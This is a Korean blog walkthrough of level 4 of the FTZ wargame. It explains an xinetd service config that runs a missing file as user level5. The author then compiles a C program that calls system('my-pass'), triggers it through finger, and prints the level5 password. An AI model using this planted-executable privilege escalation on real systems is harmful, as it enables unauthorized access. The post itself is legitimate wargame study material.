[FTZ] Level 4

Sisyphus·2022년 7월 14일

FTZ

목록 보기
13/30
[level4@ftz level4]$ ls
hint  public_html  tmp
[level4@ftz level4]$ cat hint


누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

힌트를 보니 누가 /etc/xinetd.d에 백도어를 심어놓았다고 합니다.


[level4@ftz level4]$ cd /etc/xinetd.d
[level4@ftz xinetd.d]$ ls
backdoor  chargen-udp  daytime-udp  echo-udp  ntalk  rlogin  rsync    services  talk    time
chargen   daytime      echo         finger    rexec  rsh     servers  sgi_fam   telnet  time-udp

해당 위치로 이동해서 ls 명령어를 사용해보니 backdoor가 있습니다.


[level4@ftz xinetd.d]$ cat backdoor 
service finger 
{
	disable	= no
	flags		= REUSE
	socket_type	= stream        
	wait		= no
	user		= level5
	server		= /home/level4/tmp/backdoor
	log_on_failure	+= USERID
}

backdoor를 출력해보니 finger라는 서비스의 설정 파일이 들어있습니다.

disable = no    					// 서비스를 실행하겠다.
flags = REUSE    					// 포트가 사용중인 경우에서도, 재사용할 수 있도록 한다.
socket_type = stream    			// tcp의 경우에 사용한다. tcp -> 반드시 목적지로 해당 내용을 전달해서 신뢰성이 높다.
wait = no    						// 서비스 요청중에 다음 요청이 들어오면 이전 요청이 완료될 때까지 대기한다.
user = level5    					// level5 사용자로 서비스를 실행하겠다.
server = /home/level4/tmp/backdoor 	// 서비스 실행파일 경로
log_on_failure += USERID    		// 서버 접속에 실패했을 경우 로그파일에 USERID를 기록한다.

[level4@ftz xinetd.d]$ cd ~/tmp
[level4@ftz tmp]$ ls -al
total 8
drwxrwxr-x    2 root     level4       4096 Jul 15 07:23 .
drwxr-xr-x    4 root     level4       4096 May  7  2002 ..

서비스 실행파일 위치로 가보니 실행 파일이 없습니다.


#include <stdio.h>
#include <stdlib.h>

int main() {
	system("my-pass");

	return 0;
}

그래서 system 함수를 이용해서 my-pass 명령어를 실행하도록 서비스 실행파일을 만들었습니다.


[level4@ftz tmp]$ gcc -o backdoor backdoor.c 
[level4@ftz tmp]$ ls
backdoor  backdoor.c

컴파일을 하고 ls 명령어를 사용하니 backdoor라는 실행 파일이 잘 만들어졌습니다.


[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".

이제 finger 명령어로 서비스를 실행시켜보면 backdoor 파일이 실행되어 패스워드가 출력되었습니다.

0개의 댓글